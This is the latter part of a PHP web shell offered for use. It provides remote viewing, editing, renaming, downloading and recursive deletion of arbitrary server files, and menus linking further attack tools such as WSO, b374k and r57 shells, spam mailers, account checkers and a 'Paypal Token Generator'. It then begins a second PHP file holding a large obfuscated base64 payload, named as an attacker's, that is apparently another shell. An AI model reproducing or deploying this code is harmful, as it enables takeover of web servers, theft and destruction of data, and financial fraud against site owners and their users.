$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "<form method='post'>
<input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
<input type='submit' name='dir_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete_dir') {
function Delete($path)
{
if (is_dir($path) === true)
{
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file)
{
Delete(realpath($path) . '/' . $file);
}
return rmdir($path);
}
else if (is_file($path) === true)
{
return unlink($path);
}
return false;
}
$delete_dir = Delete($dir);
if($delete_dir) {
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>could not remove ".basename($dir)."</font>";
}
echo $act;
} elseif($_GET['act'] == 'view') {
echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = "<font color=lime>Saved!</font>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
<input type='submit' value='Save' name='save' style='width: 500px;'>
</form>";
} elseif($_GET['act'] == 'rename') {
if($_POST['do_rename']) {
$rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
if($rename) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
<input type='submit' name='do_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete') {
$delete = unlink($_GET['file']);
if($delete) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo $act;
}else {
if(is_dir($dir) == true) {
echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class="th_home"><center>Name</center></th>
<th class="th_home"><center>Type</center></th>
<th class="th_home"><center>Size</center></th>
<th class="th_home"><center>Last Modified</center></th>
<th class="th_home"><center>Permission</center></th>
<th class="th_home"><center>Action</center></th>
</tr>';
$scandir = scandir($dir);
foreach($scandir as $dirx) {
$dtype = filetype("$dir/$dirx");
$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
if(!is_dir("$dir/$dirx")) continue;
if($dirx === '..') {
$href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
} elseif($dirx === '.') {
$href = "<a href='?dir=$dir'>$dirx</a>";
} else {
$href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
}
if($dirx === '.' || $dirx === '..') {
$act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
} else {
$act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
}
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
echo "<td class='td_home'><center>$dtype</center></td>";
echo "<td class='td_home'><center>-</center></th>";
echo "<td class='td_home'><center>$dtime</center></td>";
echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
}
echo "</tr>";
foreach($scandir as $file) {
$ftype = filetype("$dir/$file");
$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
$size = filesize("$dir/$file")/1024;
$size = round($size,3);
if($size > 1024) {
$size = round($size/1024,2). 'MB';
} else {
$size = $size. 'KB';
}
if(!is_file("$dir/$file")) continue;
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
echo "<td class='td_home'><center>$ftype</center></td>";
echo "<td class='td_home'><center>$size</center></td>";
echo "<td class='td_home'><center>$ftime</center></td>";
echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
}
echo "</tr></table>";
} else {
echo "<font color=red>can't open directory</font>";
}
}
echo "<center><hr><form>
<select onchange='if (this.value) window.open(this.value);'>
<option selected='selected' value=''> </option>
<option value='$ling=wso'>WSO 2.8.1</option>
<option value='$ling=injection'>1n73ction v3</option>
<option value='$ling=wk'>WHMCS Killer</option>
<option value='$ling=adminer'>Adminer</option>
<option value='$ling=b374k'>b374k Shell</option>
<option value='$ling=b374k323'>b374k 3.2</option>
<option value='$ling=bh'>BlackHat Shell</option>
<option value='$ling=dhanus'>Dhanush Shell</option>
<option value='$ling=r57'>R57 Shell</option>
<option value='$ling=encodedecode'>Encode Decode</option>
<option value='$ling=r57'>R57 Shell</option>
</select>
<select onchange='if (this.value) window.open(this.value);'>
<option selected='selected' value=''> </option>
<option value='$ling=extractor'>DB Email Extractor</option>
<option value='$ling=promailerv2'>Pro Mailer V2</option>
<option value='$ling=bukalapak'>BukaLapak Checker</option>
<option value='$ling=tokopedia'>TokoPedia Checker</option>
<option value='$ling=tokenpp'>Paypal Token Generator</option>
<option value='$ling=mailer'>Mailer</option>
<option value='$ling=gamestopceker'>GamesTop Checker</option>
</select>
<noscript><input type='submit' value='Submit'></noscript><br>
</form>Copyright © ".date("Y")." <a href='#' target='_blank'><font color=lime></font></a> Kaizen<a href='https://www.facebook.com/dhenz666' target='_BLANK'></center>";
?>
</html>
Did this file decode correctly?
Original Code
<?php
@session_start();
@error_reporting(0);
$eitaro_attacker = "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